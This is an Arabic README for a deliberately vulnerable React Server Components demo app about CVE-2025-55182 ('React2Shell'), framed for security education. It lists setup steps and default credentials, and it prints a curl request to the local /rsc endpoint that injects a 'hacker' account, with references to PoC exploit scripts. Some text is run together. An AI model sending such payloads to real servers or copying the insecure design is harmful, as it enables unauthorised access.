
«في قديم الزمان، وثقت قلعة Reactland بجميع رسائل Flight... حتى وصل المحتال.» عرض توضيحي قصصي لثغرة CVE-2025-55182 (React2Shell) - تطبيق React Server Components ضعيف بموضوع من العصور الوسطى لأغراض التثقيف الأمني.
يعرض هذا المشروع ثغرة حرجة في تنفيذ التعليمات البرمجية عن بُعد (RCE) (CVE-2025-55182 / React2Shell) في React Server Components 19.1.1.
يعرض هذا المشروع ثغرة CVE-2025-55182 (React2Shell)، وهي ثغرة حرجة في تنفيذ التعليمات البرمجية عن بُعد (RCE) في React Server Components 19.1.1. يتضمن التطبيق:
react-cve-demo/
├── package.json # React 19.1.1 with react-server-dom-webpack
├── server.js # Custom React server with RSC support
├── src/
│ ├── App.jsx # Main React component
│ ├── Login.jsx # Login page component
│ ├── Dashboard.jsx # Protected page component
│ └── server-components/ # Server Components
│ └── AuthServer.jsx # Server-side auth logic
├── data/
│ └── users.json # User credentials storage
├── Dockerfile # Docker containerization
├── docker-compose.yml # Docker Compose setup
├── .dockerignore
├── exploit/
│ ├── poc.js # POC exploit script (Node.js)
│ └── poc.sh # POC exploit script (bash/curl)
└── README.md # This file
npm install
npm start
أنشئ وشغّل باستخدام Docker Compose:
docker-compose up --build
أو أنشئ وشغّل يدويًا:
docker build -t react-cve-demo .
docker run -p 3000:3000 react-cve-demo
وصل إلى التطبيق على http://localhost:3000
admin، كلمة المرور: securepassword123user1، كلمة المرور: password123تكمن الثغرة في آلية إزالة التسلسل (deserialization) في بروتوكول RSC Flight. يقوم الاستغلال بـ:
node exploit/poc.js
أو مع عنوان URL مخصص:
TARGET_URL=http://localhost:3000 node exploit/poc.js
./exploit/poc.sh
أو مع عنوان URL مخصص:
TARGET_URL=http://localhost:3000 ./exploit/poc.sh
نسخة سطر واحد:
curl -X POST http://localhost:3000/rsc -H "Content-Type: application/json" -d '{"action":"callServerFunction","payload":{"moduleId":"AuthServer","functionName":"validateLogin","args":["hacker","hacked123"]}}'
نسخة متعددة الأسطر (للوضوح):
curl -X POST http://localhost:3000/rsc \
-H "Content-Type: application/json" \
-d '{"action":"callServerFunction","payload":{"moduleId":"AuthServer","functionName":"validateLogin","args":["hacker","hacked123"]}}'
ملاحظة: يتوفر أيضًا أمر جاهز للنسخ واللصق بسطر واحد في
exploit/curl-oneline.txt
بعد تشغيل الاستغلال:
data/users.jsonhackerhacked123توجد الثغرة في React Server Components 19.1.1، وتحديدًا في:
react-server-dom-webpackينفذ الخادم (server.js) ما يلي:
/rsc)data/users.json) يخزن بيانات الاعتمادتقبل نقطة نهاية بروتوكول RSC Flight ما يلي:
action: "callServerFunction": تنفيذ دوال الخادمaction: "renderRSC": عرض مكوّنات خادم Reactتكمن الثغرة في كيفية إزالة تسلسل استدعاءات دوال الخادم وتنفيذها.
npm install)docker-compose logsرخصة MIT - لأغراض تعليمية فقط
يتم توفير هذا البرنامج لأغراض تعليمية وأبحاث أمنية فقط. المؤلفون والمساهمون غير مسؤولين عن أي إساءة استخدام أو ضرر ناتج عن هذا البرنامج. استخدمه على مسؤوليتك الخاصة وتأكد من الامتثال لجميع القوانين واللوائح المعمول بها.